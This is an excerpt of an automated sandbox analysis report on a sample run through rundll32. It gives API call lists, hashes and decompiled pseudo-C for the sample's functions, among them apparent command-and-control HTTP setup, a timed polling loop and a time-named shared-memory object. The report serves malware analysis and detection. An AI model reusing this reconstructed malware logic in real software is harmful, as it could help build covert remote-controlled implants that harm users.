                    • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 03183F64
                    • RtlFreeHeap.NTDLL(00000000,00000000,00000000,057C9600), ref: 03183F72
                    • HeapFree.KERNEL32(00000000,?), ref: 03183F83
                    • RtlFreeHeap.NTDLL(00000000,00000000), ref: 03183F91
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: Heap$Freewsprintf$lstrcatlstrlen$lstrcpy$AllocateCountCriticalSectionTickTrim$EnterLeaveObjectSingleWaitstrcpy
                    • String ID:
                    • API String ID: 186568778-0
                    • Opcode ID: 0d52125140b27a15124fc2193447388036a120909e9252c8aa6dd9a9658b5c90
                    • Instruction ID: b4a1d4c6eb9cd766fe156f18b1fee60bebebf5aee327811307d043704addaf59
                    • Opcode Fuzzy Hash: 0d52125140b27a15124fc2193447388036a120909e9252c8aa6dd9a9658b5c90
                    • Instruction Fuzzy Hash: E771AD75000204AFC725FB69EC88E5A7BE8EF8C700B190616F909D7214DB32E995DBBD
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03187B83 Relevance: 19.6, APIs: 13, Instructions: 126networkstringCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    C-Code - Quality: 92%
                    			E03187B83(void* __eax, void* __ecx, long __esi, char* _a4) {
				void _v8;
				long _v12;
				void _v16;
				void* _t34;
				void* _t38;
				void* _t40;
				char* _t56;
				long _t57;
				void* _t58;
				intOrPtr _t59;
				long _t65;

				_t65 = __esi;
				_t58 = __ecx;
				_v16 = 0xea60;
				__imp__( *(__esi + 4));
				_v12 = __eax + __eax;
				_t56 = E031833DC(__eax + __eax + 1);
				if(_t56 != 0) {
					if(InternetCanonicalizeUrlA( *(__esi + 4), _t56,  &_v12, 0) == 0) {
						E031861DA(_t56);
					} else {
						E031861DA( *(__esi + 4));
						 *(__esi + 4) = _t56;
					}
				}
				_t34 = InternetOpenA(_a4, 0, 0, 0, 0x10000000); // executed
				 *(_t65 + 0x10) = _t34;
				if(_t34 == 0 || InternetSetStatusCallback(_t34, E03187B18) == 0xffffffff) {
					L15:
					return GetLastError();
				} else {
					ResetEvent( *(_t65 + 0x1c));
					_t38 = InternetConnectA( *(_t65 + 0x10),  *_t65, 0x50, 0, 0, 3, 0, _t65); // executed
					 *(_t65 + 0x14) = _t38;
					if(_t38 != 0 || GetLastError() == 0x3e5 && E031816B2( *(_t65 + 0x1c), _t58, 0xea60) == 0) {
						_t59 =  *0x318a348; // 0x263d5a8
						_t15 = _t59 + 0x318b845; // 0x544547
						_v8 = 0x84404000;
						_t40 = HttpOpenRequestA( *(_t65 + 0x14), _t15,  *(_t65 + 4), 0, 0, 0, 0x84404000, _t65); // executed
						 *(_t65 + 0x18) = _t40;
						if(_t40 == 0) {
							goto L15;
						}
						_t57 = 4;
						_v12 = _t57;
						if(InternetQueryOptionA(_t40, 0x1f,  &_v8,  &_v12) != 0) {
							_v8 = _v8 | 0x00000100;
							InternetSetOptionA( *(_t65 + 0x18), 0x1f,  &_v8, _t57);
						}
						if(InternetSetOptionA( *(_t65 + 0x18), 6,  &_v16, _t57) == 0 || InternetSetOptionA( *(_t65 + 0x18), 5,  &_v16, _t57) == 0) {
							goto L15;
						} else {
							return 0;
						}
					} else {
						goto L15;
					}
				}
			}














                    0x03187b83
                    0x03187b83
                    0x03187b8e
                    0x03187b95
                    0x03187b9d
                    0x03187ba7
                    0x03187bad
                    0x03187bc0
                    0x03187bd0
                    0x03187bc2
                    0x03187bc5
                    0x03187bca
                    0x03187bca
                    0x03187bc0
                    0x03187be0
                    0x03187be6
                    0x03187beb
                    0x03187cd4
                    0x00000000
                    0x03187c06
                    0x03187c09
                    0x03187c1c
                    0x03187c22
                    0x03187c27
                    0x03187c4f
                    0x03187c62
                    0x03187c6c
                    0x03187c6f
                    0x03187c75
                    0x03187c7a
                    0x00000000
                    0x00000000
                    0x03187c7e
                    0x03187c8a
                    0x03187c9b
                    0x03187c9d
                    0x03187cae
                    0x03187cae
                    0x03187cbe
                    0x00000000
                    0x03187cd0
                    0x00000000
                    0x03187cd0
                    0x00000000
                    0x00000000
                    0x00000000
                    0x03187c27

                    APIs
                    • lstrlen.KERNEL32(?,00000008,74CB4D40), ref: 03187B95
                      • Part of subcall function 031833DC: RtlAllocateHeap.NTDLL(00000000,00000000,031862F6), ref: 031833E8
                    • InternetCanonicalizeUrlA.WININET(?,00000000,00000000,00000000), ref: 03187BB8
                    • InternetOpenA.WININET(00000000,00000000,00000000,00000000,10000000), ref: 03187BE0
                    • InternetSetStatusCallback.WININET(00000000,03187B18), ref: 03187BF7
                    • ResetEvent.KERNEL32(?), ref: 03187C09
                    • InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,?), ref: 03187C1C
                    • GetLastError.KERNEL32 ref: 03187C29
                    • HttpOpenRequestA.WININET(?,00544547,?,00000000,00000000,00000000,84404000,?), ref: 03187C6F
                    • InternetQueryOptionA.WININET(00000000,0000001F,00000000,00000000), ref: 03187C8D
                    • InternetSetOptionA.WININET(?,0000001F,00000100,00000004), ref: 03187CAE
                    • InternetSetOptionA.WININET(?,00000006,0000EA60,00000004), ref: 03187CBA
                    • InternetSetOptionA.WININET(?,00000005,0000EA60,00000004), ref: 03187CCA
                    • GetLastError.KERNEL32 ref: 03187CD4
                      • Part of subcall function 031861DA: RtlFreeHeap.NTDLL(00000000,00000000,03186383,00000000,?,00000000,00000000), ref: 031861E6
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: Internet$Option$ErrorHeapLastOpen$AllocateCallbackCanonicalizeConnectEventFreeHttpQueryRequestResetStatuslstrlen
                    • String ID:
                    • API String ID: 2290446683-0
                    • Opcode ID: 0fb4dedc1838494e45857335b66f28ffed65d3c57c93b096f2b206c1c947a78b
                    • Instruction ID: 8d9719d89e49ea1f2a05f50bce60017a74ec1b3ec6b59e58619e241cab8bad7f
                    • Opcode Fuzzy Hash: 0fb4dedc1838494e45857335b66f28ffed65d3c57c93b096f2b206c1c947a78b
                    • Instruction Fuzzy Hash: BF415C71500604BFD725EF65DC88E6BBBBDEF88704B244969F642E2190E7319584CF28
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03187FC5 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209libraryCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 65 3187fc5-318802a 66 318804b-3188075 65->66 67 318802c-3188046 RaiseException 65->67 69 318807a-3188086 66->69 70 3188077 66->70 68 31881fb-31881ff 67->68 71 3188088-3188093 69->71 72 3188099-318809b 69->72 70->69 71->72 80 31881de-31881e5 71->80 73 31880a1-31880a8 72->73 74 3188143-318814d 72->74 78 31880b8-31880c5 LoadLibraryA 73->78 79 31880aa-31880b6 73->79 76 3188159-318815b 74->76 77 318814f-3188157 74->77 81 31881d9-31881dc 76->81 82 318815d-3188160 76->82 77->76 83 3188108-3188114 InterlockedExchange 78->83 84 31880c7-31880d7 GetLastError 78->84 79->78 79->83 86 31881f9 80->86 87 31881e7-31881f4 80->87 81->80 89 318818e-318819c GetProcAddress 82->89 90 3188162-3188165 82->90 93 318813c-318813d FreeLibrary 83->93 94 3188116-318811a 83->94 91 31880d9-31880e5 84->91 92 31880e7-3188103 RaiseException 84->92 86->68 87->86 89->81 96 318819e-31881ae GetLastError 89->96 90->89 95 3188167-3188172 90->95 91->83 91->92 92->68 93->74 94->74 97 318811c-3188128 LocalAlloc 94->97 95->89 98 3188174-318817a 95->98 100 31881ba-31881bc 96->100 101 31881b0-31881b8 96->101 97->74 102 318812a-318813a 97->102 98->89 104 318817c-318817f 98->104 100->81 103 31881be-31881d6 RaiseException 100->103 101->100 102->74 103->81 104->89 106 3188181-318818c 104->106 106->81 106->89
                    C-Code - Quality: 51%
                    			E03187FC5(long _a4, long _a8) {
				signed int _v8;
				intOrPtr _v16;
				LONG* _v28;
				long _v40;
				long _v44;
				long _v48;
				CHAR* _v52;
				long _v56;
				CHAR* _v60;
				long _v64;
				signed int* _v68;
				char _v72;
				signed int _t76;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t98;
				struct HINSTANCE__* _t99;
				void* _t102;
				intOrPtr* _t104;
				void* _t115;
				long _t116;
				void _t125;
				void* _t131;
				signed short _t133;
				struct HINSTANCE__* _t138;
				signed int* _t139;

				_t139 = _a4;
				_v28 = _t139[2] + 0x3180000;
				_t115 = _t139[3] + 0x3180000;
				_t131 = _t139[4] + 0x3180000;
				_v8 = _t139[7];
				_v60 = _t139[1] + 0x3180000;
				_v16 = _t139[5] + 0x3180000;
				_v64 = _a8;
				_v72 = 0x24;
				_v68 = _t139;
				_v56 = 0;
				asm("stosd");
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				if(( *_t139 & 0x00000001) == 0) {
					_a8 =  &_v72;
					RaiseException(0xc06d0057, 0, 1,  &_a8);
					return 0;
				}
				_t138 =  *_v28;
				_t76 = _a8 - _t115 >> 2 << 2;
				_t133 =  *(_t131 + _t76);
				_a4 = _t76;
				_t80 =  !(_t133 >> 0x1f) & 0x00000001;
				_v56 = _t80;
				_t81 = _t133 + 0x3180002;
				if(_t80 == 0) {
					_t81 = _t133 & 0x0000ffff;
				}
				_v52 = _t81;
				_t82 =  *0x318a1c0; // 0x0
				_t116 = 0;
				if(_t82 == 0) {
					L6:
					if(_t138 != 0) {
						L18:
						_t83 =  *0x318a1c0; // 0x0
						_v48 = _t138;
						if(_t83 != 0) {
							_t116 =  *_t83(2,  &_v72);
						}
						if(_t116 != 0) {
							L32:
							 *_a8 = _t116;
							L33:
							_t85 =  *0x318a1c0; // 0x0
							if(_t85 != 0) {
								_v40 = _v40 & 0x00000000;
								_v48 = _t138;
								_v44 = _t116;
								 *_t85(5,  &_v72);
							}
							return _t116;
						} else {
							if(_t139[5] == _t116 || _t139[7] == _t116) {
								L27:
								_t116 = GetProcAddress(_t138, _v52);
								if(_t116 == 0) {
									_v40 = GetLastError();
									_t90 =  *0x318a1bc; // 0x0
									if(_t90 != 0) {
										_t116 =  *_t90(4,  &_v72);
									}
									if(_t116 == 0) {
										_a4 =  &_v72;
										RaiseException(0xc06d007f, _t116, 1,  &_a4);
										_t116 = _v44;
									}
								}
								goto L32;
							} else {
								_t95 =  *((intOrPtr*)(_t138 + 0x3c)) + _t138;
								if( *_t95 == 0x4550 &&  *((intOrPtr*)(_t95 + 8)) == _v8 && _t138 ==  *((intOrPtr*)(_t95 + 0x34))) {
									_t116 =  *(_a4 + _v16);
									if(_t116 != 0) {
										goto L32;
									}
								}
								goto L27;
							}
						}
					}
					_t98 =  *0x318a1c0; // 0x0
					if(_t98 == 0) {
						L9:
						_t99 = LoadLibraryA(_v60); // executed
						_t138 = _t99;
						if(_t138 != 0) {
							L13:
							if(InterlockedExchange(_v28, _t138) == _t138) {
								FreeLibrary(_t138);
							} else {
								if(_t139[6] != 0) {
									_t102 = LocalAlloc(0x40, 8);
									if(_t102 != 0) {
										 *(_t102 + 4) = _t139;
										_t125 =  *0x318a1b8; // 0x0
										 *_t102 = _t125;
										 *0x318a1b8 = _t102;
									}
								}
							}
							goto L18;
						}
						_v40 = GetLastError();
						_t104 =  *0x318a1bc; // 0x0
						if(_t104 == 0) {
							L12:
							_a8 =  &_v72;
							RaiseException(0xc06d007e, 0, 1,  &_a8);
							return _v44;
						}
						_t138 =  *_t104(3,  &_v72);
						if(_t138 != 0) {
							goto L13;
						}
						goto L12;
					}
					_t138 =  *_t98(1,  &_v72);
					if(_t138 != 0) {
						goto L13;
					}
					goto L9;
				}
				_t116 =  *_t82(0,  &_v72);
				if(_t116 != 0) {
					goto L33;
				}
				goto L6;
			}


































                    0x03187fd4
                    0x03187fea
                    0x03187ff0
                    0x03187ff2
                    0x03187ff7
                    0x03187ffd
                    0x03188002
                    0x03188005
                    0x03188013
                    0x0318801a
                    0x0318801d
                    0x03188020
                    0x03188021
                    0x03188024
                    0x03188027
                    0x0318802a
                    0x0318802f
                    0x0318803e
                    0x00000000
                    0x03188044
                    0x0318804e
                    0x03188058
                    0x0318805d
                    0x0318805f
                    0x03188069
                    0x0318806c
                    0x0318806f
                    0x03188075
                    0x03188077
                    0x03188077
                    0x0318807a
                    0x0318807d
                    0x03188082
                    0x03188086
                    0x03188099
                    0x0318809b
                    0x03188143
                    0x03188143
                    0x0318814a
                    0x0318814d
                    0x03188157
                    0x03188157
                    0x0318815b
                    0x031881d9
                    0x031881dc
                    0x031881de
                    0x031881de
                    0x031881e5
                    0x031881e7
                    0x031881f1
                    0x031881f4
                    0x031881f7
                    0x031881f7
                    0x00000000
                    0x0318815d
                    0x03188160
                    0x0318818e
                    0x03188198
                    0x0318819c
                    0x031881a4
                    0x031881a7
                    0x031881ae
                    0x031881b8
                    0x031881b8
                    0x031881bc
                    0x031881c1
                    0x031881d0
                    0x031881d6
                    0x031881d6
                    0x031881bc
                    0x00000000
                    0x03188167
                    0x0318816a
                    0x03188172
                    0x03188187
                    0x0318818c
                    0x00000000
                    0x00000000
                    0x0318818c
                    0x00000000
                    0x03188172
                    0x03188160
                    0x0318815b
                    0x031880a1
                    0x031880a8
                    0x031880b8
                    0x031880bb
                    0x031880c1
                    0x031880c5
                    0x03188108
                    0x03188114
                    0x0318813d
                    0x03188116
                    0x0318811a
                    0x03188120
                    0x03188128
                    0x0318812a
                    0x0318812d
                    0x03188133
                    0x03188135
                    0x03188135
                    0x03188128
                    0x0318811a
                    0x00000000
                    0x03188114
                    0x031880cd
                    0x031880d0
                    0x031880d7
                    0x031880e7
                    0x031880ea
                    0x031880fa
                    0x00000000
                    0x03188100
                    0x031880e1
                    0x031880e5
                    0x00000000
                    0x00000000
                    0x00000000
                    0x031880e5
                    0x031880b2
                    0x031880b6
                    0x00000000
                    0x00000000
                    0x00000000
                    0x031880b6
                    0x0318808f
                    0x03188093
                    0x00000000
                    0x00000000
                    0x00000000

                    APIs
                    • RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0318803E
                    • LoadLibraryA.KERNEL32(?), ref: 031880BB
                    • GetLastError.KERNEL32 ref: 031880C7
                    • RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 031880FA
                    Strings
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: ExceptionRaise$ErrorLastLibraryLoad
                    • String ID: $
                    • API String ID: 948315288-3993045852
                    • Opcode ID: 3529024ec7744abc73fe0e4a6c75a1ee0a433c0d85fe205b39898176bb2b7fa9
                    • Instruction ID: 0867d821891841d8d66418f6f0a426f685f32a3d9d52bae013a3d55fdf290fcc
                    • Opcode Fuzzy Hash: 3529024ec7744abc73fe0e4a6c75a1ee0a433c0d85fe205b39898176bb2b7fa9
                    • Instruction Fuzzy Hash: 8381EB75A00205AFDB14EF98D985AAEB7F9BF4C710F588029E905E7240EB70E945CF68
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03186815 Relevance: 16.7, APIs: 11, Instructions: 151timememoryCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 137 3186815-3186847 memset CreateWaitableTimerA 138 31869c8-31869ce GetLastError 137->138 139 318684d-31868a6 _allmul SetWaitableTimer WaitForMultipleObjects 137->139 140 31869d2-31869dc 138->140 141 31868ac-31868af 139->141 142 3186930-3186936 139->142 143 31868ba 141->143 144 31868b1 call 3185251 141->144 145 3186937-318693b 142->145 149 31868c4 143->149 150 31868b6-31868b8 144->150 147 318694b-318694f 145->147 148 318693d-3186945 HeapFree 145->148 147->145 151 3186951-318695b CloseHandle 147->151 148->147 152 31868c8-31868cd 149->152 150->143 150->149 151->140 153 31868cf-31868d6 152->153 154 31868e0-318690d call 31835d2 152->154 153->154 155 31868d8 153->155 158 318695d-3186962 154->158 159 318690f-318691a 154->159 155->154 161 3186981-3186989 158->161 162 3186964-318696a 158->162 159->152 160 318691c-318692c call 31869e6 159->160 160->142 165 318698f-31869bd _allmul SetWaitableTimer WaitForMultipleObjects 161->165 162->142 164 318696c-318697f call 31863f6 162->164 164->165 165->152 168 31869c3 165->168 168->142
                    C-Code - Quality: 83%
                    			E03186815(void* __edx, intOrPtr _a4, intOrPtr _a8) {
				void _v48;
				long _v52;
				struct %anon52 _v60;
				char _v72;
				long _v76;
				void* _v80;
				union _LARGE_INTEGER _v84;
				struct %anon52 _v92;
				void* _v96;
				void* _v100;
				union _LARGE_INTEGER _v104;
				long _v108;
				struct %anon52 _v124;
				long _v128;
				struct %anon52 _t46;
				void* _t51;
				long _t53;
				void* _t54;
				struct %anon52 _t61;
				long _t65;
				struct %anon52 _t66;
				void* _t69;
				void* _t73;
				signed int _t74;
				void* _t76;
				void* _t78;
				void** _t82;
				signed int _t86;
				void* _t89;

				_t76 = __edx;
				_v52 = 0;
				memset( &_v48, 0, 0x2c);
				_t89 = (_t86 & 0xfffffff8) - 0x54 + 0xc;
				_t46 = CreateWaitableTimerA(0, 1, 0);
				_v60 = _t46;
				if(_t46 == 0) {
					_v92.HighPart = GetLastError();
				} else {
					_push(0xffffffff);
					_push(0xff676980);
					_push(0);
					_push( *0x318a2e0);
					_v76 = 0;
					_v80 = 0;
					L031882DA();
					_v84.LowPart = _t46;
					_v80 = _t76;
					SetWaitableTimer(_v76,  &_v84, 0, 0, 0, 0);
					_t51 =  *0x318a30c; // 0x2cc
					_v76 = _t51;
					_t53 = WaitForMultipleObjects(2,  &_v80, 0, 0xffffffff);
					_v108 = _t53;
					if(_t53 == 0) {
						if(_a8 != 0) {
							L4:
							 *0x318a2ec = 5;
						} else {
							_t69 = E03185251(_t76); // executed
							if(_t69 != 0) {
								goto L4;
							}
						}
						_v104.LowPart = 0;
						L6:
						L6:
						if(_v104.LowPart == 1 && ( *0x318a300 & 0x00000001) == 0) {
							_v104.LowPart = 2;
						}
						_t74 = _v104.LowPart;
						_t58 = _t74 << 4;
						_t78 = _t89 + (_t74 << 4) + 0x38;
						_t75 = _t74 + 1;
						_v92.LowPart = _t74 + 1;
						_t61 = E031835D2( &_v96, _t75, _t89 + _t58 + 0x38, _t78,  &_v100); // executed
						_v124 = _t61;
						if(_t61 != 0) {
							goto L17;
						}
						_t66 = _v92;
						_v104.LowPart = _t66;
						if(_t66 != 3) {
							goto L6;
						} else {
							_v124.HighPart = E031869E6(_t75,  &_v72, _a4, _a8);
						}
						goto L12;
						L17:
						__eflags = _t61 - 0x10d2;
						if(_t61 != 0x10d2) {
							_push(0xffffffff);
							_push(0xff676980);
							_push(0);
							_push( *0x318a2e4);
							goto L21;
						} else {
							__eflags =  *0x318a2e8; // 0x0
							if(__eflags == 0) {
								goto L12;
							} else {
								_t61 = E031863F6();
								_push(0xffffffff);
								_push(0xdc3cba00);
								_push(0);
								_push( *0x318a2e8);
								L21:
								L031882DA();
								_v104.LowPart = _t61;
								_v100 = _t78;
								SetWaitableTimer(_v96,  &_v104, 0, 0, 0, 0); // executed
								_t65 = WaitForMultipleObjects(2,  &_v100, 0, 0xffffffff);
								_v128 = _t65;
								__eflags = _t65;
								if(_t65 == 0) {
									goto L6;
								} else {
									goto L12;
								}
							}
						}
						L25:
					}
					L12:
					_t82 =  &_v72;
					_t73 = 3;
					do {
						_t54 =  *_t82;
						if(_t54 != 0) {
							HeapFree( *0x318a2d8, 0, _t54);
						}
						_t82 =  &(_t82[4]);
						_t73 = _t73 - 1;
					} while (_t73 != 0);
					CloseHandle(_v80);
				}
				return _v92.HighPart;
				goto L25;
			}
































                    0x03186815
                    0x0318682b
                    0x0318682f
                    0x03186834
                    0x0318683b
                    0x03186841
                    0x03186847
                    0x031869ce
                    0x0318684d
                    0x0318684d
                    0x0318684f
                    0x03186854
                    0x03186855
                    0x0318685b
                    0x0318685f
                    0x03186863
                    0x03186871
                    0x0318687f
                    0x03186883
                    0x03186885
                    0x03186892
                    0x0318689e
                    0x031868a0
                    0x031868a6
                    0x031868af
                    0x031868ba
                    0x031868ba
                    0x031868b1
                    0x031868b1
                    0x031868b8
                    0x00000000
                    0x00000000
                    0x031868b8
                    0x031868c4
                    0x00000000
                    0x031868c8
                    0x031868cd
                    0x031868d8
                    0x031868d8
                    0x031868e0
                    0x031868e6
                    0x031868ee
                    0x031868f7
                    0x031868fe
                    0x03186902
                    0x03186907
                    0x0318690d
                    0x00000000
                    0x00000000
                    0x0318690f
                    0x03186913
                    0x0318691a
                    0x00000000
                    0x0318691c
                    0x0318692c
                    0x0318692c
                    0x00000000
                    0x0318695d
                    0x0318695d
                    0x03186962
                    0x03186981
                    0x03186983
                    0x03186988
                    0x03186989
                    0x00000000
                    0x03186964
                    0x03186964
                    0x0318696a
                    0x00000000
                    0x0318696c
                    0x0318696c
                    0x03186971
                    0x03186973
                    0x03186978
                    0x03186979
                    0x0318698f
                    0x0318698f
                    0x03186997
                    0x031869a5
                    0x031869a9
                    0x031869b5
                    0x031869b7
                    0x031869bb
                    0x031869bd
                    0x00000000
                    0x031869c3
                    0x00000000
                    0x031869c3
                    0x031869bd
                    0x0318696a
                    0x00000000
                    0x03186962
                    0x03186930
                    0x03186932
                    0x03186936
                    0x03186937
                    0x03186937
                    0x0318693b
                    0x03186945
                    0x03186945
                    0x0318694b
                    0x0318694e
                    0x0318694e
                    0x03186955
                    0x03186955
                    0x031869dc
                    0x00000000

                    APIs
                    • memset.NTDLL ref: 0318682F
                    • CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 0318683B
                    • _allmul.NTDLL(00000000,FF676980,000000FF), ref: 03186863
                    • SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000), ref: 03186883
                    • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF,?,?,?,?,?,?,?,?,?,?,031826E9,?), ref: 0318689E
                    • HeapFree.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,031826E9,?,00000000), ref: 03186945
                    • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,031826E9,?,00000000,?,?), ref: 03186955
                    • _allmul.NTDLL(00000000,FF676980,000000FF,00000002), ref: 0318698F
                    • SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF,00000002,?,?,?), ref: 031869A9
                    • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 031869B5
                      • Part of subcall function 03185251: StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,057C9218,00000000,?,74D0F710,00000000,74D0F730), ref: 031852A0
                      • Part of subcall function 03185251: HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,057C9160,?,00000000,30314549,00000014,004F0053,057C9270), ref: 0318533D
                      • Part of subcall function 03185251: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,031868B6), ref: 0318534F
                    • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,031826E9,?,00000000,?,?), ref: 031869C8
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: FreeHeapTimerWaitable$MultipleObjectsWait_allmul$CloseCreateErrorHandleLastmemset
                    • String ID:
                    • API String ID: 3521023985-0
                    • Opcode ID: 8773c92ac5c3ac7e1967bfc9137792f6e8f447bfbd3c0d176af9cb100608a62a
                    • Instruction ID: 2e6f0f20534a17120e07918299b30dffe35db167ef909e5a5e59c61ecb94dfbc
                    • Opcode Fuzzy Hash: 8773c92ac5c3ac7e1967bfc9137792f6e8f447bfbd3c0d176af9cb100608a62a
                    • Instruction Fuzzy Hash: ED516871408320AFC710FF118C449ABBBECEF8D320F544A1AFAA992194D7708594CFAA
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 0318415A Relevance: 13.6, APIs: 9, Instructions: 72filetimeCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    C-Code - Quality: 74%
                    			E0318415A(intOrPtr __edx, void** _a4, void** _a8) {
				intOrPtr _v8;
				struct _FILETIME* _v12;
				short _v56;
				struct _FILETIME* _t12;
				intOrPtr _t13;
				void* _t17;
				void* _t21;
				intOrPtr _t27;
				long _t28;
				void* _t30;

				_t27 = __edx;
				_t12 =  &_v12;
				GetSystemTimeAsFileTime(_t12);
				_push(0x192);
				_push(0x54d38000);
				_push(_v8);
				_push(_v12);
				L031882D4();
				_push(_t12);
				_v12 = _t12;
				_t13 =  *0x318a348; // 0x263d5a8
				_t5 = _t13 + 0x318b7b4; // 0x57c8d5c
				_t6 = _t13 + 0x318b644; // 0x530025
				_push(0x16);
				_push( &_v56);
				_v8 = _t27;
				L03187F3A();
				_t17 = CreateFileMappingW(0xffffffff, 0x318a34c, 4, 0, 0x1000,  &_v56); // executed
				_t30 = _t17;
				if(_t30 == 0) {
					_t28 = GetLastError();
				} else {
					if(GetLastError() == 0xb7) {
						_t21 = MapViewOfFile(_t30, 6, 0, 0, 0); // executed
						if(_t21 == 0) {
							_t28 = GetLastError();
							if(_t28 != 0) {
								goto L6;
							}
						} else {
							 *_a4 = _t30;
							 *_a8 = _t21;
							_t28 = 0;
						}
					} else {
						_t28 = 2;
						L6:
						CloseHandle(_t30);
					}
				}
				return _t28;
			}













                    0x0318415a
                    0x03184162
                    0x03184166
                    0x0318416c
                    0x03184171
                    0x03184176
                    0x03184179
                    0x0318417c
                    0x03184181
                    0x03184182
                    0x03184185
                    0x0318418a
                    0x03184191
                    0x0318419b
                    0x0318419d
                    0x0318419e
                    0x031841a1
                    0x031841bd
                    0x031841c3
                    0x031841c7
                    0x03184215
                    0x031841c9
                    0x031841d6
                    0x031841e6
                    0x031841ee
                    0x03184200
                    0x03184204
                    0x00000000
                    0x00000000
                    0x031841f0
                    0x031841f3
                    0x031841f8
                    0x031841fa
                    0x031841fa
                    0x031841d8
                    0x031841da
                    0x03184206
                    0x03184207
                    0x03184207
                    0x031841d6
                    0x0318421c

                    APIs
                    • GetSystemTimeAsFileTime.KERNEL32(?,?,00000000,?,?,?,?,?,?,031825B1,?,?,4D283A53,?,?), ref: 03184166
                    • _aulldiv.NTDLL(?,?,54D38000,00000192), ref: 0318417C
                    • _snwprintf.NTDLL ref: 031841A1
                    • CreateFileMappingW.KERNELBASE(000000FF,0318A34C,00000004,00000000,00001000,?,?,?,?,?,00000000), ref: 031841BD
                    • GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,031825B1,?,?,4D283A53,?), ref: 031841CF
                    • MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000,?,?,?,?,00000000), ref: 031841E6
                    • CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,?,?,?,?,?,031825B1,?,?,4D283A53), ref: 03184207
                    • GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,031825B1,?,?,4D283A53,?), ref: 0318420F
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
